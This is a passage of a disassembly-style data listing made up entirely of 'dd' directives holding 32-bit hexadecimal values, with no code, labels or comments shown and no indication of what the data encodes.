		dd 7074217h, 1EAF0DCh, 24E0CFBCh, 670318B1h, 0C8E68104h
		dd 1CC08B94h, 39A7BB29h, 3B03D83Fh, 35750CC4h, 0D44B15D1h
		dd 2AB8D98Ah, 0F75E8409h, 0C0F862BDh, 768BB5Ch,	1E6EF030h
		dd 0F93B90CCh, 3F7ACA76h, 73054B00h, 2586139Ah,	1ECB7671h
		dd 0CAA1D29Eh, 80EC8ACFh, 83A7308Bh, 29005A3Eh,	21B5AD8Fh
		dd 0A0DE7Fh, 746C6E1Fh,	4D1C8E25h, 0C68F900h, 2801261Eh
		dd 0BF34042Dh, 0C018419Ah, 745C7E58h, 57B0DA00h, 4E94882h
		dd 0C08F09ECh, 0D040D8C9h, 1D29947Fh, 84811428h, 0FEB5F1EDh
		dd 0FC4FD540h, 0DDA6028Eh, 0C04D406Bh, 5012C450h, 0ED1F645Bh
		dd 90403752h, 9D94F3C1h, 158C0707h, 50541F2Eh, 0AC3AA15Fh
		dd 55CD9000h, 0B548240Bh, 72130069h, 4EB42FC5h,	670EB78Fh
		dd 0E0FE31B0h, 8A4AF00Fh, 80FF0007h, 5576C2Fh, 5900DEA1h
		dd 812138B2h, 0B5DA11h,	497E87F9h, 0D47B5779h, 0AE6E2300h
		dd 10ABB8CBh, 0B190E2Eh, 0A2C16232h, 208D25DFh,	0D818C8DCh
		dd 81385215h, 22E81Bh, 0AAA437BEh, 7B0C3B71h, 1016C200h
		dd 417331Ah, 5D52018Bh,	0B61C95A2h, 972EE4B3h, 282F403h
		dd 882C57FCh, 3FF009ABh, 7D138Bh, 7AFBAEA9h, 16BA1101h
		dd 3E083500h, 0B34EED2Fh, 73E60045h, 955B6AC2h,	1400505Eh
		dd 517F81F3h, 4F340F94h
		dd 0B71862C6h, 9DC9388h, 5A009384h, 0CF1C2E6Eh,	41094A7Ah
		dd 8030AA60h, 0FD429590h, 0E0F00054h, 0D43C3A6Ah, 0ADF88848h
		dd 0F1A45B00h, 2E415DD2h, 81CA0E29h, 0D23D7FC6h, 21B8886Bh
		dd 0DD1F0A0Eh, 8926634Fh, 0FBE3E87Bh, 0AA3B00F6h, 78790EC1h
		dd 0B2001A0Dh, 2539D18Ch, 0E2501Dh, 5DDBAFDFh, 0CB8E0E84h
		dd 0B9BA3800h, 9D9791F3h, 0CED400E6h, 4F77CCA2h, 18286FE9h
		dd 0DE00862Ah, 1440A43h, 6BD64Ah, 0EE111A4Dh, 0E1CFAA78h
		dd 49253603h, 0C0AB3B83h, 3BD2439h, 1442E684h, 29008DC8h
		dd 4605A402h, 74E809Dh,	0B216711Bh, 4FD840E0h, 0C113A631h
		dd 9840D46Ch, 0D67918Bh, 5B898DBh, 1C024C4Ah, 9710D071h
		dd 0E27E07E7h, 24BFFB00h, 55696F74h, 0F83300CEh, 1461C3D5h
		dd 0EB5844DEh, 9FA7C044h, 0BFC12DFh, 0FD2C4C09h, 532BD8A0h
		dd 66004771h, 0DE1FB5D4h, 2C638903h, 44300722h,	18F0A479h
		dd 3D07A298h, 0C60B78E9h, 7699E541h, 0A381002Ch, 12684B04h
		dd 738D0047h, 0B7F00643h, 750652F0h, 0E7ADBE98h, 0D4611D80h
		dd 90DEF338h, 874C4938h, 30E915BCh, 9C924E90h, 0A2B2012Bh
		dd 8FB656D0h, 80DC284Dh, 6BEC73Ah, 4FBD0F2Dh, 0E73D57Bh
		dd 10AF296Bh, 23588140h, 6012D3F6h, 0E0885603h,	5F6A3979h
		dd 0E0B71F75h, 0B693C0E7h, 0B20E7856h, 9FE5B300h, 0FC15874Dh
		dd 7A7F821h, 4A0AF77Fh,	9B14F0D0h, 4000A03Eh, 3A77B4B9h
		dd 0FFE89Ch, 0EA521E91h, 8AC93228h, 6F3B1400h, 853CB243h
		dd 19630038h, 4184D07Bh, 0DCE072B1h, 0AA2B690Eh, 275CE381h
		dd 853880EFh, 0F13A0097h, 2BFD9317h, 6E1095CAh,	0BA1EE9EBh
		dd 6F4E403Fh, 9A2805ACh, 1308F566h, 1B450E21h, 59206187h
		dd 1701A3D5h, 2C154C14h, 6B330FFCh, 0F6AE409Eh,	712443h
		dd 563F8F3Eh, 0C24B867Bh, 18B55Ch, 9A0A5812h, 923DC185h
		dd 0BB67308h, 834CC2AFh, 8C3D865Eh, 21DAB4DBh, 66DE1C3Eh
		dd 0FE6443B7h, 18763BC5h, 608BCB29h, 9C87B900h,	86385DCEh
		dd 1CDBA420h, 41417E8Fh, 0D86E0FCAh, 55CC7078h,	71B9F000h
		dd 0CBD15B4Dh, 2A850994h, 0DC68833Eh, 56C1F61Ah, 0F5F2B240h
		dd 0DC12F89Ch, 408AD23Ch, 0A1ADF130h, 8879E93Eh, 3D11B50Eh
		dd 6420927Ch, 712535C4h, 0BB6600A4h, 783418A2h,	2B01F964h
		dd 0B4F7BE38h, 0C0309205h, 0F90263AEh, 3DC8AD08h, 0DE017757h
		dd 0C2C196E3h, 21800906h, 538D92E1h, 0C900D2EFh, 0DB94DC1Eh
		dd 14526771h, 98B20A29h, 0CE977A03h, 0B939C777h, 60F8B840h
		dd 0E4C21FC8h, 0C5E865h, 54CCF61Dh, 0E3247921h,	56B08E00h
		dd 531CB5F0h, 0B79202E0h, 94587DEAh, 80E78680h,	7C070372h
		dd 1622DCE9h, 7A0DC630h, 7E130061h, 9FFEF1C0h, 53005D70h
		dd 0B6C964F5h, 0E0DBAD22h, 0C54C0188h, 3E9FBD0Fh, 8F088CE7h
		dd 0DC2053h, 2B4F856Bh,	3CE447EDh, 71002470h, 48BB4C65h
		dd 374AE23h, 1821D345h,	580FBA17h, 40AB804Dh, 9E0A369Bh
		dd 817E3A95h, 20CAE118h, 790158B2h, 0CF2D7484h,	0A0920744h
		dd 4C000047h, 76DB71DAh, 29B080D9h, 8804AC18h, 0BE6FC5F0h
		dd 0C8B8F92Dh, 363CC317h, 0B6BB0B1Ch, 276C0F45h, 498C71DCh
		dd 6DC00366h, 0FFEC25Dh, 7865AE34h, 0D723903Ah,	0EDDD1339h
		dd 0F1CC1D00h, 67039CA3h, 1EBB2057h, 0D9B7FD80h, 700B580h
		dd 0C735DF54h, 0EE813Ch, 1B7BBD95h, 0D67F2467h,	5CBC8002h
		dd 8157B46Fh, 0C82BF748h, 8808AA08h, 0C4DFC70Ah, 173241C0h
		dd 0B2C81C88h, 8DB41F81h, 293E80F0h, 0BFF56999h, 3621AC00h
		dd 0BA9DDF41h, 0E4900BDh, 66D56CFEh, 78FC7057h,	0A8983E01h
		dd 2A3C1FB7h, 88C9D0h, 4DE22705h, 0CF0B4823h, 0D20068F0h
		dd 0B1EF3C6Eh, 0EA640Ah, 1624789Bh, 6FFA3FF4h, 0A1F57300h
		dd 839262B5h, 142D00E7h, 78546E0Ch, 0FD099611h,	0C1B7204Ch
		dd 0ACD0B207h, 0F520C064h, 749A97B6h, 7D815000h, 20D3365Ch
		dd 710500E6h, 656858CBh, 930392B5h, 498A1324h, 3E2F996Bh
		dd 34D84080h, 25C33A87h, 8C00D978h, 354A31F5h, 38A1AC06h
		dd 6F001EB1h, 7A4993E2h, 213C0CCAh, 0CCCB3h, 801D8D8Ah
		dd 6394B29Bh, 700C506Dh, 580288A0h, 4E106261h, 0CDF8D264h
		dd 0BDB77DA3h, 55A32CE3h, 762E2100h, 419059D6h,	23F20012h
		dd 6880675Bh, 58BF4F8Ah, 0D917240h, 928FB1C8h, 53AAEC18h
		dd 11C541C1h, 1880EF22h, 540F2B59h, 770026E3h, 2494B027h
		dd 7CF3958h, 0D878D196h, 0D349C01Eh, 0E6004E10h, 3E86D4A8h
		dd 1DA077Ch, 36BF2EF8h,	43A0BD55h, 0A09F59D4h, 9448CE68h
		dd 8D0010FEh, 0C4091807h, 7567054Eh, 0FE2307D9h, 93ED491Eh
		dd 87D77CF2h, 1BC57096h, 0A300C35Fh, 0D570B3B6h, 950B09Fh
		dd 0B1ACFA9Ah, 305DA480h, 4738FFD2h, 0E0628177h, 0DAD912D4h
		dd 0FDEEF8h, 5043C155h,	74FAC272h, 0BE780F1Eh, 0FC9C9940h
		dd 48E91FA8h, 0DA006605h, 41622A87h, 606053ADh,	0D04FEF30h
		dd 0D3BF00D4h, 7674F8B7h, 0DA00D187h, 872C130h,	7F7CFA8h
		dd 0E3509844h, 68E656BDh, 5D427607h, 26C01929h,	0C369Eh
		dd 52F78DF9h, 55A70D59h, 85076C7Eh, 70116E71h, 0C0228FF3h
		dd 0D19BC8h, 7F07A863h,	5F0F2882h, 8E9DC619h, 7BEC4288h
		dd 0EFD000DAh, 96867A8Dh, 6A2C2FDFh, 8A00BB22h,	7B3DC27h
		dd 0B06B6004h, 40B060FAh, 0EBECBD00h, 310BE1D9h, 4E79007Eh
		dd 0E430428Eh, 2E00B350h, 0F93416C2h, 0A07C74h,	4948B664h
		dd 0DDF33799h, 3870FBFAh, 0C6A63Ch, 0AC087017h,	0E406B8A9h
		dd 0C12E004Ah, 7C51FA30h, 20004295h, 5CE123A7h,	50BC92B0h
		dd 0CF8CEDh, 87753AC6h,	2A3F0E2Dh, 9B203502h, 98DF6134h
		dd 131AAA0h, 2789FC3Ah,	0BE67778Ch, 8B780098h, 963B7151h
		dd 66747Bh, 880A4A91h, 0C1CD16CFh, 87D5073Fh, 8FD15CB9h
		dd 44270410h, 97E100BEh, 693FAEF5h, 0F0FC1F96h,	3A17B00h
		dd 6091AC58h, 28A20027h, 85A41D01h, 9CCDB92h, 0C72107h
		dd 263128E9h, 6888473Eh, 0B4C81201h, 76B3665Fh,	0F032980h
		dd 1A8DB1C0h, 10694100h, 90397C22h, 4B4D006Ah, 0B2010E6Bh
		dd 6861285Ah, 91F5A220h, 1C69A6C7h, 7C07926h, 0DC909AD1h
		dd 0C4376A8h, 0D8554302h, 0F2339C1Dh, 0A5402ADh, 0E4002E0h
		dd 9A807B00h, 25FBEDD3h, 3B0BFC81h, 77B113D2h, 0D47494B8h
		dd 80F10E11h, 9BFE31C0h, 0C8216A1h, 7CC2F55Dh, 21C3BE08h
		dd 98E586D1h, 173CF53h,	6E4DA730h, 202E9956h, 140C2C4Bh
		dd 0B992081Dh, 0BBE018C0h, 4721E0E4h, 1F578D00h, 0B3763498h
		dd 94030055h, 5251D308h, 0E0042E6h, 0F814BC0h, 9E4A29Ch
		dd 4E4FD6CFh, 0AB8E0680h, 0CB00F3B9h, 0D987B41h, 0A7ECCDBh
		dd 0A4454717h, 762810h,	3131ADFh, 0C59ADAFBh, 37AABE00h
		dd 0C6AFFF8h, 64B90078h, 364D8596h, 1603EB6Fh, 0CA1A94A2h
		dd 0B593C05Bh, 1E98C9h,	44585F69h, 78195E83h, 4A0E810Eh
		dd 35B0C0EAh, 3A1C91D4h, 0E200AED9h, 20C35A07h,	240CA66Ah
		dd 489085C8h, 3FEE00D3h, 0A50DAAF2h, 140069D1h,	90CF0EF6h
		dd 7CAA8FFh, 0EE6BF776h, 345F1321h, 45F3A000h, 0BB4F582Fh
		dd 0B84400D1h, 0D5CF4657h, 36009004h, 112D42E8h, 1EA6D3h
		dd 0A3AB35Eh, 729EC0BAh, 452240C3h, 6D780712h, 417AE420h
		dd 0EC60B8E6h, 4101B116h, 3358AAEh, 9ED93D65h, 50D3EBD0h
		dd 60A4E2E5h, 0B5DA89A0h, 0ED07D7DFh, 0AD3C3AB6h, 820B1370h
		dd 46173DA5h, 4100FF3Fh
		dd 7549FA7Fh, 55FAD5D0h, 0BF191816h, 4AE41301h,	9DFCBB2Bh
		dd 1BC33EDEh, 57D06901h, 0FC5446CAh, 9800682Ah,	51F48460h
		dd 7E1F0B4h, 0CC2F4F9Ch, 0D13483B9h, 0C88A6481h, 0BB06C11Fh
		dd 8F05E425h, 73503810h, 0DD4B2861h, 0F693C857h, 46008E78h
		dd 0D8C82D08h, 4C751D47h, 6000EBF3h, 4D1354Eh, 0C1DA69Bh
		dd 0AE00875Ch, 4F859AA5h, 40893D0Dh, 3CFB7400h,	0B9597F66h
		dd 37E41C00h, 0C1E1DC2Ah, 7DAAF83Eh, 26B2002Dh,	9677C2ABh
		dd 0A600569Fh, 0FADD99E0h, 547BBD8h, 4EAE42E9h,	8788001Eh
		dd 0AB53DE1Ch, 0CD0CDD01h, 925E1F82h, 0A94F0h, 0FA23E913h
		dd 0A7A25C3Eh, 785A8400h, 1829A9C0h, 829302B1h,	8DE795FFh
		dd 912019E8h, 309EB03Ah, 77C12184h, 53CD0057h, 405E69BAh
		dd 634C4512h, 38A900FEh, 0A1ECB4BCh, 20163EA0h,	3999EA01h
		dd 83B82781h, 860B1F40h, 5260C775h, 8ED0CAh, 951DA2Bh
		dd 4320A28Dh, 1E6064F2h, 1CC06971h, 0AC50A925h,	0D3E45361h
		dd 0A50A99Ah, 5F595810h, 0B7CACF03h, 0E03FE88Eh, 5B686A9h
		dd 51EACC06h, 28F00EAAh, 0C0648B21h, 88304ABFh,	0C9FAC077h
		dd 2F1C868Fh, 69008473h, 78469A72h, 4916F002h, 0DB004414h
		dd 21F0D55Ch, 0ED00B062h, 50B2A636h, 5D4D71h, 0E569857Bh
		dd 82ED20Ah, 0E3964E07h, 0A9F09A3Eh, 3F9025h, 663DAE44h
		dd 26576BBEh, 5E300A00h, 0DB43E1EEh, 18990058h,	0BE519BD3h
		dd 0C60077D6h, 0F5E9310Eh, 0FB4B74h, 1BD478F3h,	7F6B5F3Bh
		dd 8D2CF200h, 75B1FAA4h, 20BF074Bh, 70A0C0B3h, 9491A2BAh
		dd 19B6F00h, 84D30E97h,	178A7F54h, 872CFCh, 0BD13E5FDh
		dd 25773E46h, 2EACA39h,	2EB763CFh, 62B7C0D1h, 2AB90092h
		dd 502813A0h, 6A016BC9h, 0C4BAB08Dh, 0BBC4A54Fh, 0ED270768h
		dd 0D08FB957h, 38A45409h, 0FC45D0E5h, 0E3983E2Eh, 9F075700h
		dd 0AC5187h, 0F26F4653h, 4E7E9A06h, 3F01B6h, 0B60CA11Fh
		dd 5EA18h, 953E4B84h, 0B760BA4Ch, 0CA68A000h, 0E9663AE3h
		dd 6FD4261Fh, 0C91B0018h, 2F5A53DDh, 0D7A0B90Eh, 0F5908096h
		dd 0E133CFh, 5F793165h,	1C8EDC60h, 7B0088E4h, 62E74BC4h
		dd 395CEB78h, 869CFDDDh, 0A1768004h, 6B74D651h,	0BA6C3212h
		dd 3F1BA114h, 0E467806Ah, 0B801A3BFh, 829C01E8h, 7DF609DAh
		dd 0FAC5C455h, 20184D6Dh, 0B1C0041Fh, 9B477D3Ah, 5EEFE900h
		dd 6B5CD5B5h, 0B6CE0078h, 0C3848AA0h, 0CA00B0A4h, 0B25B75D9h
		dd 0C8BADD25h, 0BB475728h, 0DA5E8808h, 88DF1988h, 86947993h
		dd 23220828h, 33AA0C77h, 0EC847F79h, 16C24022h,	8AF87584h
		dd 84CBE661h, 0C4726B28h, 46419A08h, 2701B9F1h,	0FB518077h
		dd 0B0A385E4h, 0E110842Eh, 2318ABC4h, 0A81A2903h, 44328640h
		dd 8A65F394h, 64068F79h, 1951D763h, 790F47E6h, 608B12C9h
		dd 78B67Dh, 0E0C2DC7Bh,	0E3F0EE5Dh, 9C302900h, 6B1349DAh
		dd 22C0002Eh, 68196A7Eh, 610058B4h, 104271EAh, 769FC0Eh
		dd 0BA8B0FFEh, 0BB79B0AFh, 4500AD17h, 2E87848Fh, 1F42F622h
		dd 7DB3C11h, 6117826Bh,	0F4F42918h, 620051FCh, 0ACEBBCD9h
		dd 0F5F9B9h, 0B0E5C552h, 99A1D4BEh, 784E2100h, 0B4C33347h
		dd 1D3D0EC4h, 6A0FB571h, 771400B2h, 0F68ECF0Bh,	26FBF100h
		dd 0F8834839h, 0BAB80F75h, 0D8632131h, 0F916136h, 15D3E0CFh
		dd 534C7000h, 941203E8h, 0BA3B0EEDh, 4340FC2Bh,	108AF672h
		dd 865D6A00h, 514F2952h, 0ADB5002Fh, 77CEA0DCh,	6A184C16h
		dd 520AF38Ch, 2AA5002Dh, 0E69DB2CBh, 0F90FB6E4h, 736FD7h
		dd 64CE6921h, 4F1600E9h, 481E0DB7h, 8A005867h, 0CAB1F6A9h
		dd 1B3B93h, 9938EEDBh, 0A349B8E8h, 97002472h, 0BB56B195h
		dd 0F63BD4C0h, 28B6009Dh, 3945C5Fh, 0AF000BF7h,	9E245497h
		dd 1E1B14E8h, 2ADEE51h,	88643910h, 0F128B7E0h, 298CB300h
		dd 5411C583h, 82EA0081h, 0DE9042AFh, 50EF01Bh, 0C0E10B3Dh
		dd 0DDE06DB1h, 0A5A00014h, 1FDFD438h, 0F607F71Ch, 4D1353EAh
		dd 0B7E497B0h, 488800A2h, 1584DCA0h, 0C6002EBDh, 898647D6h
		dd 3E97B279h, 79C5D7h, 0F44DCAFCh, 90A3FE07h, 0EDAA9E00h
		dd 0C7641978h, 9B6E0795h, 80213E57h, 0B41CE86Dh, 5C8C260Fh
		dd 7539204Ch, 0D34E5Dh,	0D6BF373Ah, 76F17F5Eh, 48DEC200h
		dd 101778A4h, 2CCD0F19h, 9D8A06h, 0CE290413h, 871DC981h
		dd 3B40974Fh, 421F8D1Ah, 0CF7300CCh, 47A6E974h,	4D00E580h
		dd 4183603Dh, 769CB0Fh,	0A0441FD8h, 94248099h, 3A00FCBCh
		dd 224E0473h, 31FBDD4h,	0D0150D88h, 0EC884BDBh,	0B14C0C2Ch
		dd 0E84800A9h, 3E694125h, 267B7E4Eh, 89707553h,	90102302h
		dd 8A0096F2h, 675F1B16h, 909D69h, 0D7D12349h, 94E44021h
		dd 3A73D507h, 0BB302248h, 3BC370h, 31ED568Ch, 0C578AE47h
		dd 84E6A100h, 1EDA8967h, 0A440B782h, 911457D7h,	7CF47F1Dh
		dd 431FA102h, 807C82B3h, 0BA3AB490h, 0C4EA3C78h, 0AABCA4h
		dd 0D95CF17Dh, 0B201A41Bh, 0BD81E879h, 8AFC7333h, 1430EB6Eh
		dd 22E403AAh, 134F694h,	44652C81h, 1310C084h, 4D18FE79h
		dd 42CA4ED2h, 7DC539A0h, 0EFABE380h, 0B8900DCFh, 77F38100h
		dd 50A2639Ah, 0DF87BFA6h, 0BAACC086h, 0EF02200Fh, 0D0D809DDh
		dd 90A883F0h, 0CB57F976h, 0DE694880h, 7566155Eh, 1400FDE0h
		dd 392BE28Fh, 73BAFE3Dh, 841D07A7h, 0B0080148h,	65EDA85Bh
		dd 7BDDBE00h, 3AF83D43h, 0FAEAAFh, 948D89B5h, 7D6C4997h
		dd 1277038h, 47210CA5h,	0F5C071C5h, 759BB890h, 0BFB700FCh
		dd 311DB398h, 58039F78h, 7F020ED3h, 5BEC89B2h, 7D8C8E0h
		dd 0A2F1F5FEh, 0D493A375h, 151F40C8h, 9D6B7900h, 8BB62B44h
		dd 0B07098h, 778CC180h,	0F6928318h, 2600DFFAh, 593605E7h
		dd 0F5140Ah, 2A221F2Ch,	21F1D3B1h, 1BDF0603h, 0E0A3C642h
		dd 0ECC29E7Ch, 0D0D0F3C7h, 0AFC00152h, 9A944B70h, 0E9A1ECE0h
		dd 0DD0F967Dh, 803E43C7h, 40AB337h, 565D041Ch, 809C29BCh
		dd 34EFCFC8h, 62073898h, 0D5FACD65h, 0B004A08Eh, 1C544Dh
		dd 0E85B224Ch, 6C246692h, 3403C101h, 63ACF7EDh,	12335F0h
		dd 555FA8EFh, 0DE1CC9DBh, 0D491C840h, 9C2AFC03h, 88C0F8D8h
		dd 19B2358h, 3E3552ABh,	0D8731B0Fh, 5B02EA5Ah, 3BC1B3DAh
		dd 0DC1000C9h, 6F09FEA9h, 0ADFFBAh, 2E8813E8h, 21480FB6h
		dd 0B082DF0Dh, 65E0B467h, 520038F1h, 80341876h,	1641902Ah
		dd 130F48h, 0A6EED163h,	0CA004337h, 6BCD5545h, 4B424Fh
		dd 3A1EFCBFh, 1FE1F3B8h, 441B7B00h, 589228B3h, 549E5C3Eh
		dd 849D2C00h, 76F7CF4Ah, 0B9C1EC02h, 80F86C54h,	0CAA906CBh
		dd 7AF02C15h, 3B8900A5h, 4A88A030h, 0C548ED00h,	0ADD4361Bh
		dd 0D7990062h, 9E55B16Bh, 0A2005F88h, 0F0E12601h, 0F630CB4Fh
		dd 1369007Ch, 9CF8A439h, 0F40788B8h, 7725292Ch,	9DAC6860h
		dd 0F52100D5h, 81D278ABh, 0D949E09Eh, 0A3D10384h, 0A8F93C44h
		dd 76798A72h, 85FA00F8h, 56DB3D31h, 0AD3E124Fh,	0E77680E2h
		dd 7A947E3Bh, 728100CCh, 40E432A1h, 797F2183h, 4A0BE1F6h
		dd 80840665h, 3B8A6C4Eh, 0D6EC1CB8h, 353443CDh,	0A6C8E251h
		dd 0F7039B56h, 0B25F39A9h, 35A24B9h, 22990071h,	55E5FDEDh
		dd 2AE1FC00h, 5A4B681Bh, 0AA17006Eh, 0BB97A0AFh, 807BF6E3h
		dd 0EEE27702h, 8069248Dh, 434C65C4h, 0CF1C135Fh, 6800BF0Bh
		dd 0AA255D6h, 54ED01FFh, 0FE7C3740h, 10BC4083h,	0A5F0079Eh
		dd 88A64700h, 49ED8C3Ch
		dd 3E590776h, 0F55E68A2h, 77F8F6h, 540CE389h, 1B6707h
		dd 0C3283155h, 35744798h, 0E3007970h, 0D1139B6Fh, 888D56h
		dd 5860BA84h, 72EC2059h, 490B2200h, 6B40BE6Ah, 0ABB103FCh
		dd 46265407h, 0D3CFC0BFh, 0E800FA84h, 1D521FDCh, 70D03258h
		dd 1794904Fh, 1471575Dh, 0AA079487h, 30D943A5h,	9B0FE810h
		dd 0BEA37D00h, 52A6B90Ch, 0C4420001h, 0BBB5D349h, 85004855h
		dd 0F4D7D50h, 22D42Eh, 8FBC0861h, 591BEDC6h, 3619B61Ch
		dd 0D49E64C0h, 50BE3Dh,	2F95D2AFh, 5FF6DFC2h, 19265E00h
		dd 2D633762h, 704F0FD5h, 7280F5FAh, 31437E49h, 73B1C001h
		dd 219C4C4Ah, 0C0687460h, 0ABE2F1AEh, 7C713EBBh, 700F9F6h
		dd 7D0C8578h, 7C27F5Bh,	0D88B32BCh, 1D0C387h, 0CDE650C0h
		dd 8171253Bh, 213D695Fh, 70F046E7h, 3FAD0086h, 83230949h
		dd 4C73BAA4h, 0F602A97Bh, 28DAC1FCh, 2A04610Fh,	0A7F0DFDDh
		dd 4BCD009Bh, 81A26288h, 24B00245h, 0BEAE0C0Ah,	0EE26F856h
		dd 3813F900h, 0F4308F6Eh, 7AE92CA9h, 78B02012h,	6C60E102h
		dd 404F483Ch, 3988B5A0h, 0CA6A3Ch, 63C3A501h, 0E660983h
		dd 531A9F1Eh, 0EA14EFC0h, 0CA0F1056h, 82A665F7h, 60E53B31h
		dd 893EA5h, 0BAC64EB8h,	769D32Bh, 31C4EE1Dh, 0F249007Eh
		dd 0E8D7F774h, 8EFA0053h, 28AECA1Eh, 7700B2ADh,	1B619856h
		dd 180185Eh, 0B6163CF9h, 0E8105BE8h, 0D700E2CBh, 0AD5921ACh
		dd 7F9E8B85h, 6B93026Ch, 5175AED5h, 89DC0AE0h, 9B24A303h
		dd 9FA5FF26h, 12B87EC0h, 13FB7A92h, 62E66Fh, 0A4043689h
		dd 0EB79B294h, 0B0FD59h, 3EFB82D2h, 0BD8B03h, 35683399h
		dd 7F9C8185h, 63691800h, 77F1C393h, 0F037078Dh,	3FC7FFBCh
		dd 11CE4007h, 0E83FE40Bh, 540074AFh, 11911A02h,	26A5C6F1h
		dd 14409BCh, 0B6D99E95h, 0A071C4C4h, 238F4500h,	0EB55831Ch
		dd 7C2502F5h, 0B4FEAFCDh, 0C3E3BEC0h, 5D87B200h, 7F6B8F4Dh
		dd 584F0043h, 8B697B94h, 5E00A633h, 2DC4D20Fh, 7E84DBAh
		dd 8C88B9A7h, 0AC4E609Eh, 53004C5Fh, 7597EAB1h,	75401B6h
		dd 0B7CE30F0h, 326510EEh, 0E000AC26h, 0CFD3B388h, 0EA1DBD50h
		dd 0F9561C46h, 0D4378C73h, 4700A1F4h, 54CC0B2Ch, 938769h
		dd 65D7A326h, 669DB07Bh, 0A2E83Ch, 216D0CB3h, 1C99CAFCh
		dd 722585h, 501992EAh, 0A400DAF4h, 0D87897C0h, 0E12F5h
		dd 7CB6C3ADh, 17109B47h, 76443Ch, 2C31B324h, 4C4F1907h
		dd 4C0008B2h, 0E247F05Fh, 1248E915h, 3E560060h,	1A2D26A0h
		dd 0A75E1FADh, 0FEDD1D23h, 1371360Eh, 4173435Eh, 0F5C89168h
		dd 0B021004h, 0FD7E7805h, 0B48D806Bh, 7FE1A62h,	0D83C8360h
		dd 9EE97017h, 52262142h, 2C1F009Ah, 1B86E240h, 3EDF723Eh
		dd 103A8943h, 1D3B881h,	0C7CB0447h, 0E21DA3EAh,	3830F684h
		dd 0F7D6007Ah, 100BEEF3h, 6700EA87h, 80BD33E5h,	0AF019Fh
		dd 0EF73D132h, 0DB262F2Eh, 4970B00h, 0F2256591h, 0E90A1752h
		dd 18D0019Ch, 60486154h, 437183D5h, 4430FF4Ah, 743BD32Ah
		dd 602C01E7h, 3331104Bh, 93BCCC87h, 0AE563Ah, 78E7EDC1h
		dd 51FA0Ch, 0BBF550EAh,	193B5FDFh, 0FD445700h, 0B36205BDh
		dd 4268074Fh, 3102A8FFh, 30F1FB2Fh, 5D003070h, 0B6532DACh
		dd 4F8DD321h, 8BD00063h, 291BE987h, 0E33EA300h,	0C165141Fh
		dd 6C804C1Ah, 46B20500h, 7EBA22B4h, 59231600h, 483FEC49h
		dd 54F71C40h, 5B5E0060h, 0E94A6B8Ah, 14206824h,	0F1A72F07h
		dd 0D57C85B0h, 2167009Ch, 0D89059F4h, 5507C911h, 4318C7EEh
		dd 0A5304840h, 0DE563DC2h, 0AE2F1500h, 9CCFE0FCh, 7DB93600h
		dd 0B06882A7h, 0FEDC26A2h, 1609020Dh, 0BCE0AAE3h, 409983ECh
		dd 0A9936500h, 721033Ch, 0B9575069h, 1504A032h,	0FA00257Fh
		dd 0CB179141h, 6A7E0Eh,	375565E4h, 675C748Ah, 69EFEA07h
		dd 0E9403C4Ch, 38E0D8h,	78FEC6DFh, 219AC852h, 2D11B00h
		dd 0EE7F4641h, 0E4A40037h, 360131ACh, 65005217h, 8CA7CEA9h
		dd 7BF55821h, 0D66E0EB0h, 7D20E6E1h, 0B847F8AAh, 5A50FC00h
		dd 0D7187E8Bh, 0B7D301C9h, 0E59FE1F9h, 49C6F87Ch, 24730B03h
		dd 0A8D6D775h, 0F31CD82h, 0B22703D0h, 8FDE9A80h, 1C05CF7Eh
		dd 5D470A32h, 0F81090C3h, 293E13h, 0C255788Ch, 0A8DEA577h
		dd 80EAF400h, 13281EC9h, 0CEFB0067h, 0B7FE8D96h, 542590A9h
		dd 0CAC43899h, 1CC00B5h, 183D6BF9h, 0B9055051h,	0D3FD554h
		dd 1537F4A0h, 0BCA2EE58h, 3D004E3Dh, 0FCFB3A54h, 0CD094976h
		dd 8277ADB5h, 0C0160844h, 1D6A8274h, 80572B8Bh,	62C636BDh
		dd 53043AFEh, 4BC059B0h, 0C421A80h, 0CDAD007Fh,	6BE42071h
		dd 6078454h, 8E6716ABh,	538B43C0h, 70CA2433h, 0D3303B08h
		dd 806A7DE0h, 0F1E3AB0Dh, 2EE0C132h, 575B070Bh,	0C948D2h
		dd 0BB565A13h, 76F1B200h, 0E8C39403h, 7412001Ah, 0A92D1E10h
		dd 9DE69E16h, 52E6A118h, 734658E8h, 49B008Fh, 0CB6338C8h
		dd 1F3AAA88h, 8A259EA7h, 2692A480h, 0FC5A566h, 0B5AE2C73h
		dd 203D8EE7h, 3A314919h, 2E0D8300h, 53CA78F7h, 6E673D6Dh
		dd 0B9D68A05h, 4BEC81ADh, 77BDF064h, 95E1C01h, 34BB113Bh
		dd 6F7BC40h, 0B7190022h, 0E4EEB5E6h, 0E01D88D6h, 8D40AA4Ah
		dd 83D1E1A1h, 0F21A0328h, 7858153Dh, 8F1BDB98h,	8CAE0A60h
		dd 5C0CCADh, 0AFE18530h, 5087D0h, 812D94F6h, 980023B0h
		dd 7A176292h, 0A3F61F0h, 2343B570h, 0F4FF009Ch,	2DCA9783h
		dd 3004BF8h, 8DD484B0h,	4C6AD0FDh, 34001C77h, 0F61B25CAh
		dd 0E000E22Dh, 0A06394BBh, 789610BDh, 18A7EA40h, 0C61F83ABh
		dd 9812CA8Bh, 0EF002119h, 45B1C420h, 0E0850552h, 2DD07B9h
		dd 9C9A3080h, 0B2098851h, 21EC00E4h, 0F1F6342h,	0A87CA44Fh
		dd 0E294C300h, 31C6756h, 0EF00E1FCh, 5DCF2898h,	266300FAh
		dd 6B3D6CBFh, 0FEF0DB45h, 79B9E50Fh, 7AF5E038h,	0EAE9C70Ch
		dd 0F2DE18D1h, 9C5D19FBh, 9400747Bh, 9DB57281h,	3038EA3h
		dd 91F96B44h, 59C12475h, 0D04C219Bh, 4A73A9CFh,	835BB514h
		dd 3A2E078Ch, 0B0200DCEh, 0C9B1B4h, 93E5B8ECh, 0A34C21F1h
		dd 39D9E200h, 0E7AAB389h, 1BDA030Dh, 798DC736h,	606CE5B0h
		dd 4E61B40Eh, 89FE008Fh, 952656h, 0B1B21A32h, 0DB866A25h
		dd 2812D412h, 10EE1C49h, 3D06AAF4h, 2B12CC21h, 2614007Ch
		dd 6B0F3B83h, 0A0A13602h, 6007392Eh, 35524Ah, 4B8937CEh
		dd 66FDD7ABh, 706458h, 6A9596BCh, 76146319h, 0E8E773Ah
		dd 0B66F26Dh, 5AC767C1h, 0B44FFCE7h, 0A3D76000h, 25FF64D3h
		dd 0B87FE8Bh, 0C8427761h, 577AE782h, 977280D5h,	4B96C1h
		dd 6A9065CEh, 0CFA75C6Bh, 0C31D0800h, 0F26C3460h, 4D990151h
